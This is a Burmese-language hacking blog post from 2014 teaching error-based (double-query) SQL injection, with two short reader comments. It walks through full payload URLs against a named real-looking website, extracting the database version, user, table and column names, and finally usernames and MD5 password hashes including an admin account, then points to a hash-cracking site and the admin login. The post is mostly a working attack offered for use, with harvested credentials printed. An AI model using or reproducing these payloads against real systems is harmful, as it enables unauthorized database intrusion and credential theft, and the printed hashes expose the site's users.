Pages

Subscribe:
Blogger Tips and TricksLatest Tips And TricksBlogger Tricks

Wednesday, July 30, 2014

Error Based/Double Query SQL injection

Error Based/Double Query SQL injection

(or)
The used SELECT statements have a different number of columns error

အမွန္အတိုင္းေျပာရရင္ေတာ့ ကြ်န္ေတာ္ကိုယ္တိုင္ ဒီနည္းကို နားလည္ေအာင္ မရွင္းျပတတ္ပါဘူး..
ဒါေပမယ့္ ညီအစ္ကိုေတြအေနနဲ႔ လက္ေတြလိုက္လုပ္ရင္း နားလည္လာလိမ့္မယ္လို႔ ေမွ်ာ္လင့္ပါတယ္...
ကြ်န္ေတာ္တို့ Site တစ္ခုကို SQL Inject လုပ္တဲ့ခါမွာ ... ယိုေပါက္ရွိ/မရွိ အရင္ဦးဆုံး စစစ္ၾကပါတယ္။
ယိုေပါက္ေတြ႔တဲ့ ဆိုဒ္တစ္ခုကို ေတြ႔တဲ့အခါ Order by ဒါမွမဟုတ္ Group By နဲ႔ Column ဘယ္ေလာက္ ရွိ သလဲဆိုတာ ထပ္စစ္ၾကပါတယ္... Column အေရအတြက္ သိရတဲ့အခါမွာေတာ့ ဘယ္ေနရာမွာ ယိုေပါက္ ျဖစ္ေနလဲဆိုတာကို UNION SELECT နဲ႔စစ္ၾကပါတယ္...အဲဒီအခါမွာ Error ေလးေတြ လာျပ တတ္ပါတယ္... ေတြ႔ၾကဳံရတဲ့ အမ်ားစု Error ေတြကေတာ့
  1. 403 Forbidden
  2. Not Acceptable
  3. The use SELECT statements have a different number of columns 
တို့ပဲ အမ်ားစု ေတြ႔ရတတ္ပါတယ္.. အဲဒီအထဲကမွ နံပါတ္ ( ၂ ) Error "Not Acceptable "ေက်ာ္နည္း 
(တစ္နည္းအားျဖင့္ Bypass လုပ္နည္းကို ကြ်န္ေတာ္ နားလည္သေလာက္ ရွင္းျပခဲ့ၿပီးပါၿပီ။

ဒီတစ္ခါမွာေတာ့ ကြ်န္ေတာ္ နံပါတ္ ( ၃ ) ျဖစ္တဲ့ The use SELECT statement error ေလးအေၾကာင္း ကိုရွင္းျပပါမယ္... အဲဒီ error ေလးကို Bypass လုပ္ၿပီး Inject ထိုးနည္းကိုေတာ့ Error Based/ double query sql injection လု႔ိ သိရပါတယ္..

နမူနာအေနနဲ႔ ဆိုဒ္တစ္ခုကို စစ္ၾကည့္တဲ့အခါ error လာျပပါတယ္...
http://www.freescience.info/books.php?id=2'
ဒါနဲ႔ order by နဲ႔စစ္တဲ့အခါ Column 2 ရွိေၾကာင္း ေတြ႔ရပါလိမ့္မယ္..
http://www.freescience.info/books.php?id=2 order by 1 >No error
http://www.freescience.info/books.php?id=2 order by 2 >No error
http://www.freescience.info/books.php?id=2 order by 3 >Error *****

ဒါေၾကာင့္ ဘယ္ေနရာမွာ ယိုေပါက္ျဖစ္ေနလဲဆိုတာ... UNION SELECT နဲ႔ စစ္ပါမယ္...
http://www.freescience.info/books.php?id=-2 UNION SELECT 1,2--
အဲဒီမွာ Error ေလး ေတြ႔ပါၿပီ....
Errore nell'esecuzione dell query: The used SELECT statements have a different number of columns

အဲဒီ error ေလးကို  Bypass လုပ္ဖို႔ Error based/double query sql injection နည္းကို သုံးပါမယ္.. ေအာက္က ကုတ္ေလးကို ၾကည့္ပါ...
> or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
version ကုိ စစ္ဖို႔ site လင့္ရဲ႕ ေနာက္မွာ ေအာက္ပါအတိုင္း ကူးထည့္လိုက္ပါ....

http://www.freescience.info/books.php?id=2 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

version ေလးကို ေအာက္ပါအတိုင္း ေတြ႔ရပါလိမ့္မယ္...
Errore nell'esecuzione dell query: Duplicate entry '5.0.95-log:1' for key 1

Version ေနရာမွာ user လို႔ အစားထိုး စစ္ရင္ေတာ့ ေအာက္ပါအတိုင္း ေတြ႔ျမင္ရပါလိမ့္မယ္..
Errore nell'esecuzione dell query: Duplicate entry 'science@localhost:1' for key 1

User ေနရာမွာ ျပန္ၿပီး database လို႔အစားထိုးစစ္ရင္ေတာ့ ေအာက္ပါအတိုင္း ေတြ႔ျမင္ရပါလိမ့္မယ္...
Errore nell'esecuzione dell query: Duplicate entry 'freescience_info_1:1' for key 1

အဲဒီအခါမွာ Database ေလးကို မွတ္ထားရပါမယ္... ေနာက္ပိုင္း username နဲ႔ password ကို ထုတ္ယူတဲ့ အခါမွာ ျပန္သုံးရပါမယ္...

ဒီေနာက္မွာေတာ့ Table ေတြကို ထုတ္ၾကည့္ဖို႔ ေအာက္က query ေလးကို သုံးပါမယ္...
 > and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

နမူနာၾကည္ပါ...

http://www.freescience.info/books.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အထက္ပါ query ေလးကို အသုံးျပဳလိုက္တဲ့အခါ ေအာက္ပါအတိုင္း books ဆိုတဲ့ Table  ေလးကို  ျမင္ရပါလိမ့္မယ္...
Errore nell'esecuzione dell query: Duplicate entry 'books~1' for key 1

ေနာက္ထပ္ Table တစ္ခုကို ထပ္ထုတ္ၾကည့္ခ်င္တဲ့အခါမွာေတာ့ limit ေနာက္က " 0 " ေနရာေလးမွာ 1 ဆိုၿပီး ေျပာင္းလဲ ထုတ္ၾကည့္ရပါမယ္...

http://www.freescience.info/books.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အဲဒီအခါ catbooks ဆိုၿပီး ေနာက္ထပ္ Table တစ္ခုကို ထပ္ျမင္ေတြ႔ရပါလိမ့္မယ္..
Errore nell'esecuzione dell query: Duplicate entry 'catbooks~1' for key 1

ဒီလိုနဲ႔ admin ( ဒါမွမဟုတ္ ) user Table မေတြ႔မခ်င္း အစဥ္လိုက္ထည့္သြင္း ထုတ္ယူၾကည့္ရပါမယ္...
limit 0,1 > books
limit 1,1 > catbooks
limit 2,1 > catesami....ဒီလိုနဲ႔ limit 30,1 မွာ users Table ေလးကို သင္ေတြ႔ျမင္ရပါလိမ့္မယ္...

ဒါေၾကာင့္ users Table ထဲမွာ ဘယ္လို column ေတြပါလည္း ဆိုတာကို ထုတ္ၾကည့္ပါမယ္..
Column ကို ထုတ္ၾကည့္တဲ့ ဘယ္ Table ကေနဆိုတာ 0x ခံကာ Hex ပုံစံ ေျပာင္းၿပီး ထုတ္ၾကည့္ရပါ မယ္..column ေတြကို ထုတ္ၾကည့္ရန္အတြက္ ေအာက္က query ေလးကို အသုံးျပဳပါမယ္...

> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အထက္ပါ query ေလးမွာ အျပာေရာင္က 0x ခံၿပီး TABLEHEX ေနမွာ အထက္က users ေလးကို Hackbar ကေန Hex ပုံစံေျပာင္းၿပီး ထည့္ပါမယ္... ေအာက္မွာ ေလ့လာၾကည့္ပါ...

http://www.freescience.info/books.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အထက္ပါ Query ေလးကို အသုံးျပဳလိုက္ရင္ေတာ့ Limit 0,1 မွာ uid ဆိုၿပီး column ေလးကို  ေတြ႔ျမင့္ရပါလိမ့္မယ္
Errore nell'esecuzione dell query: Duplicate entry 'uid~1' for key 1

ေနာက္ထပ္ limit 1,1 ကို ေျပာင္းလဲ ထုတ္ၾကည့္တဲ့အခါမွာေတာ့ name ဆိုတာကို ေတြ႔ရၿပီး
Errore nell'esecuzione dell query: Duplicate entry 'name~1' for key 1

limit 2,1 ကို ေျပာင္းလဲအသုံးျပဳရင္ေတာ့ pass ဆိုတာေလးကို ေတြ႔ရပါမယ္...
Errore nell'esecuzione dell query: Duplicate entry 'pass~1' for key 1

ဒါဆိုရင္ေတာ့ user table ထဲမွာ uid,name,pass ဆိုတဲ့ column ေလးေတြရွိၿပီး ေနာက္ထပ္လည္း ရွိနိုင္ပါေသးတယ္..ဒါေပမယ့္ ကြ်န္ေတာ္တို႔ name,pass ဆိုရင္ လုံေလာက္သြားပါၿပီ ဒါေၾကာင့္ အသုံးျပဳသူ name နဲ႔ လွိဳ႕၀ွက္နံပါတ္ pass ကို ထုတ္ယူၾကည့္ပါမယ္..

ထုတ္ယူတဲ့အခါမွာ ဘယ္ database ၊ ဘယ္ table ကေန ဘယ္ column ေတြကို ထုတ္ပါမယ္ ဆိုၿပီး query ေရးရပါမယ္..ဒါေၾကာင့္ အစက မွတ္ခိုင္းထားတဲ့ database အမည္ေလးကို အသုံးျပဳဖို႔ လိုလာပါၿပီ.. အသုံးျပဳမယ့္ query ေလးကေတာ့... 

 > and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အထက္ပါ query ေလးကို ေလ့လာၾကည့္ရင္ျဖင့္ COLUMN_NAME ေနရာေတြမွာ ကြ်န္ေတာ္တို႔ ရထားတဲ့ name နဲ႔ pass ထည့္ၿပီ Databasename ေနရာမွာ freescience_info_1 ကိုထည့္ၿပီး TABLENAME ေနရာမွာ users ကိုထည့္ပါမယ္...ေအာက္က query ေလးကို ေလ့လာၾကည့္ပါ..

http://www.freescience.info/books.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(name,0x7e,pass) as char),0x7e)) from freescience_info_1.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အထက္ပါ query ေလးကို အသုံးျပဳလိုက္တဲ့အခါ limit 0,1 မွာ User တစ္ေယာက္ကို ေအာက္ပါအတိုင္း သင္ေတြ႔ရပါလိမ့္မယ္..
Errore nell'esecuzione dell query: Duplicate entry 'jiadonghuang~e8c27d08c20a017dd556d06de991c43c~1' for key 1

user တစ္ေယာက္ထက္မက ပါ၀င္ႏိုင္ပါတယ္... ဒါေၾကာင့္ limit ေလးကို 1,1 ဆိုၿပီး ေျပာင္းလဲ အသုံးျပဳၾကည့္ပါ....ေအာက္ပါအတိုင္း Admin account ကို ေတြ႔ရပါလိမ့္မယ္..

Errore nell'esecuzione dell query: Duplicate entry 'admin~9be406b86c39d7ab8bf505fa70f62b5f~1' for key 1

ရရွိတဲ့ password က md5 hash ျဖစ္တဲ့အတြက္ http://hashkiller.co.uk/md5-decrypter.aspx မွာ သြားေရာက္ ျဖည္ႏိုင္ပါတယ္... user name နဲ႔ Password ရရျဖင့္ Admin login page ကို ရွာကာ ၀င္ေရာက္နိုင္ပါၿပီ......

ဒါဆိုရင္ေတာ့ ဖတ္ရႈ႕သူအေနနဲ႔ အနည္းငယ္နားလည္ သေဘာေပါက္သြားမယ္လို႔ ေမွ်ာ္လင့္ပါတယ္...
အမွားပါရင္လည္း ခြင့္လႊတ္နားလည္ေပးၾကပါလို႔ ေတာင္းပန္ရင္း
အားလုံးကိုေက်းဇူးတင္ပါတယ္....

COLORFUL H4ck Ch4R

2 comments:

Ar Kar Kyaww said...

How about kali SQLMAP, Bro Naypaing?

Hydra said...

Thank bro

Post a Comment